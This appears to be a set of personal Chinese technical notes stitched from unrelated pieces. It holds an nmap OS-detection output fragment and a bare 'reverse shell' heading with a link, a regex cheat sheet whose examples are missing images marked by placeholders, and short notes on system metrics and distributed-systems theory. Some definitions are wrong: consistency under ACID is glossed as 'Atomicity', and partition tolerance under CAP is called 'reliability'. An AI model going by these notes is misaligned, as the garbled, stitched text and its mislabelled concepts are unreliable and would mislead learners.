OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100
Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
......
NSE: Script Post-scanning.
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds
Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/

反向Shell

http://os.51cto.com/art/201312/424378.htm

用来匹配和处理文本的字符串。 基本用途是查找和替换。一种不完备的程序设计语言。

锚点

^ 字符串开头,或多行模式中的行开头
\A 字符串的开始
$ 字符串结尾,或多行模式中的行尾
\Z 字符串结束
\b 字边界
\B 不是单词边界
\< 词的开头
\> 词尾

字符集

\c 控制字符
\s 任何一个空白字符([\f\n\r\t\v])
\S 任何一个非空白字符([^\f\n\r\t\v])
\d 任何一个数字字符
\D 任何一个非数字字符
\w 任何一个字母数字字符或下划线字符([a-zA-Z0-9_])
\W 任何一个非字母数字或非下划线字符([^a-zA-Z0-9_])
\x 十六进制数字
\O 八进制数

量词

+ 1 个或更多
* 0 个或更多
? 0 个或 1 个
{} 匹配指定个数
{3} 精确的 3 个
{3,} 3 个或更多
{3,5} 3,4,5

添加 ? 表示非贪婪模式,懒惰型匹配,匹配最小子集。

1
2
3
+?
*?
{n,}?

断言

?= 前瞻断言
?! 负前瞻
?<= 后向断言
?!= or ?<! 负面回顾
?> 一次性子表达式
?() 条件 [if then]
?()| 条件 [if then else]
?# 评论

转移

\ 转义后面的字符
\Q Begin literal sequence
\E End literal sequence

『转义』是一种处理正则表达式中具有特殊含义的字符的方式,而不是特殊字符。

常用元字符

^
[
.
$
{
*
(
\
+
)
|
?
<
>

特殊字符

\n 新行
\r 回车
\t 制表符
\v 垂直制表符
\f Form feed
\xxx 八进制字符 xxx
\xhh 十六进制字符 hh

组合范围

. 除换行符 (\n) 以外的任何字符
(a|b) a 或 b
(...)
(?:...) 被动(非捕获)组
[abc] 范围 a b c
[^abc] not (a or b or c)
[a-q] 从 a 到 q 的小写字母
[A-Q] 从 A 到 Q 的大写字母
[0-7] 从 0 到 7 的数字
\x 组/子模式编号『x』

范围包括在内。

例子

回溯引用

下面例子匹配 空格 字符 空格
原始图片
下面的例子使回溯引用
原始图片
解释回溯引用,\1用来获取(\w+)中的字符串。第一个匹配上的of\1引用,就变成表达式[ ]+(\w+)[ ]+of
其中\1代表模式里的第一个子表达式,\2就会代表着第二个子表达式,以此递推。

替换

原始图片

大小写转换测试工具不支持,待测试

向前查找、向后查找

必须要放到一个字表达式中,如下例子,根据:来匹配,但是不消费他。
(?=) 向前查找

原始图片

(?<=) 向后查找
原始图片

(?!) 负向前查找
(?<!) 负向后查找

嵌入条件

(?(brackreference)true-regex)其中?表明这是一个条件,括号里的brackreference是一个回溯引用,true-regex是一个只在backreference存在时才会被执行的子表达式。
原始图片

不区分大小写匹配

原始图片

字符区间匹配

原始图片

取非匹配

原始图片

匹配多个字符

原始图片

子表达式

原始图片

匹配四位数的年份

原始图片

嵌入查找、向后查找组合应用

原始图片

性能指标

  1. 吞度量
  2. 响应延迟 P95 P999
  3. 并发量

可用性指标

  1. 可提供的服务时间 / (可提供的服务时间 + 不可提供的服务时间)
  2. 请求成功次数 / 总请求次数

可扩展性指标

是否能实现水平扩展,通过增加服务器数量增加计算能力、存储容量等。

存储系统中有两种扩展方式:
Scale Out(也就是Scale horizontally)横向扩展,比如在原有系统中新增一台服务器。
Scale Up(也就是Scale vertically)纵向扩展,在原有机器上增加 CPU 、内存。

一致性指标

实现多副本之间一致性的能力。不同的应用场景对于数据一致性指标要求不同,需要根据场景做具体的评估。

水平拆分和垂直拆分

ACID

原子性(Atomicity)
一致性(Atomicity)
隔离性(Isolation)
持久性(Durability)

CAP(帽子理论)

一致性(Consistency)
可用性(Availability)
可靠性(Partition tolerance 分区容错性)

BASE

基本可用(Basically Available)
软状态(Soft State)
最终一致(Eventually Consistent)

分布式一致性协议

TX协议
XA协议

两阶段提交协议

三阶段提交协议

TCC

最终一致性模式